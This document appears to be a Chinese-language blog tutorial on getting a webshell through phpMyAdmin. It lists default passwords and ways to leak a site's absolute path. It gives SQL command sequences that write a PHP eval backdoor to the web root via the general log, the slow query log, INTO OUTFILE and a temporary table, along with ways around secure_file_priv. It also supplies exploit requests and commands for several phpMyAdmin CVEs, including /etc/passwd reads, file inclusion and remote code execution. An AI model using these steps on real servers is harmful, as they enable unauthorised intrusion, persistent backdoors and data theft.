phpmyadmin后台拿shell的4种方式
怎么进phpmyadmin?
弱口令
root/root
root/空密码
root/123456
phpMyAdmin爆破工具
信息泄露(配置文件等)
怎么拿到网站绝对路径?
单引号爆绝对路径
xx.asp?id=1’
错误参数值爆绝对路径
xx.asp?id=-1
搜索引擎搜索绝对路径
site:xxx.com error
site:xxx.com warning
site:xxx.com fatal error
测试文件获取绝对路径
phpinfo.php
test.php
ceshi.php
info.php
php_info.php
全局日志文件写入shell
首先查看mysql的日志状态,默认是关闭的,因为这个日志的量非常大对资源是一个比较大的开销
SHOW VARIABLES LIKE '%general%'
general_log_file为日志保存的位置
随后开启general_log模式
开启general_log 的作用:开启它可以记录用户输入的每条命令,会把其保存在C:\phpStudy\MySQL\data\stu1.log的文件中,其实就是我们常说的日志文件利用思路:开启general_log之后把general_log_file的值修改为该网站默认路径下的某一个自定义的php文件中,然后通过log日志进行写入一句话木马,然后再进一步利用
这里注意:在修改log路径前,源路径一定要提前记录下来,我们获取shell后还要恢复原来的路径
思路就是
set global general_log = on; #开全局日志
set global general_log_file='C:\\phpStudy\\MySQL\\data\\shell.php'; #改日志目录为shell
select '<?php eval($_POST[cmd]);?>' #写入木马
set global general_log_file='C:\\phpStudy\\MySQL\\data\\stu1.log';
set global general_log = off;把日志目录改回来
记录下原本的日志文件C:\phpStudy\MySQL\data\stu1.log
成功改过来
写入shell
可以看到服务器上面已经有shell了
这里写错地方了,应该写到网站目录上面。
菜刀连接,最后把设置调回去,拿下shell!
在知道绝对路径的情况下,利用INTO OUTFILE
select @@basedir;
查找绝对路径
show global variables like '%secure_file_priv%';
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
空 不限制目录
如果有权限select '<?php @eval($_POST[a]);?>'INTO OUTFILE 'E:/phpstudy_pro/WWW/test.php'
高版本的mysql中,默认为NULL
慢查询写入webshell
在实际写webshell的时候,我们经常会遭受到secure_file_priv的阻拦,secure_file_priv这个配置参数用来限制load data、outfile、load_file()的使用。
解决办法:
在Windows下可在my.ini的[mysqld]里面,添加secure_file_priv=
在linux下可在/etc/my.cnf的[mysqld]里面,添加secure_file_priv=
通过慢日志查询来绕过此限制
1、show variables like '%slow_query_log%'; 查看慢查询日志开启情况
2、set global slow_query_log=on; 开启慢查询日志
3、set global slow_query_log_file='C:/phpStudy/WWW/shell.php'; 修改日志文件存储的绝对路径
4、select '<?php @eval($_POST[shell]);?>' or sleep(10); 向日志文件中写入shell
5、使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:
show global variables like '%long_query_time%';
可以看到服务器上shell已经进去了
菜刀连接一下
创建数据库和表写入webshell
利用条件:Root数据库用户(root权限); 网站绝对路径(确定有写入权限); secure_file_priv没有具体值。操作步骤:1)执行下面的sql语句,创建表并在表中写入一句话木马,在导出到网站的根路径。
CREATE TABLE test( id text(500) not null);
INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');
SELECT id FROM test INTO OUTFILE 'C:/phpstudy/WWW/1.php';
DROP TABLE IF EXISTS test;
phpMyAdmin漏洞利用:
phpmyadmin反序列化漏洞任意文件读取(WooYun-2016-199433)
影响phpMyAdmin 2.x版本,poc如下:
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
CVE-2016-5734 RCE:
利用条件:
1、授权用户;
2、phpmyadmin4.3.0-4.6.2 ;
3、PHP 4.3.0-5.4.6
主要原因由于将用户输入的信息拼接进preg_replace函数第一个参数中,而在PHP5.4.7以前,preg_replace存在漏洞,可以0进行截断,并将正则模式修改为e,进而执行命令。
在Kali中有自带的EXP
searchsploit phpmyadmin
python3 40185.py -u root - root -d test -c "system(whoami)" http://192.168.75.130:8080/
具体请参考:https://www.jianshu.com/p/8e44cb1b5b5b
CVE-2018-12613文件包含:
利用条件:
漏洞版本:phpMyAdmin 4.8.0和4.8.1
主要原因在index.php中存在一处文件包含逻辑
满足以下5个条件:
1、不为空
2、字符串
3、不以index开头
4、不在$target_blacklist这个黑名单中
5、Core::checkPageValidity()函数为TRUE
进而通过二次编码即可绕过检查,造成远程文件包含漏洞。
判断是否存在漏洞经过二次编码绕过
/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
然后在sql语句中执行一些语句记录到日志,然后在包含即可
SELECT ‘‘;
查询phpmyadmin cookie值(开发者工具查看)
http://192.168.75.130:8080/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_ff16b4962b5343089c8fcd4c58df53ba
CVE-2014 -8959:本地文件包含
利用条件:
phpMyAdmin 4 .0.1–4 .2.12
PHP version < 5.3.4
POC:
/gis_data_editor.php?token=你的token值&gis_data[gis_type]=
/../../../../phpinfo.txt%00
在实际利用中可以利用写入文件到/tmp目录下结合此漏洞完成RCE,php版本可以通过http header、导出表内容到文件的附加内容看到。
CVE-2013-3238:
利用条件:
phpMyAdmin 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3
msf有相应的利用模块:
exploit/multi/http/phpmyadmin_preg_replace
CVE-2012-5159:
利用条件:
phpMyAdmin v3.5.2.2
msf有相应的利用模块:
exploit/multi/http/phpmyadmin_3522_backdoor
CVE-2009-1151:
PhpMyAdmin配置文件/config/config.inc.php存在命令执行
利用条件:
phpmyadmin 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
msf有相应的利用模块:
exploit/unix/webapp/phpmyadmin_config
弱口令&万能密码:
弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名’localhost’@‘@”则登录成功
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。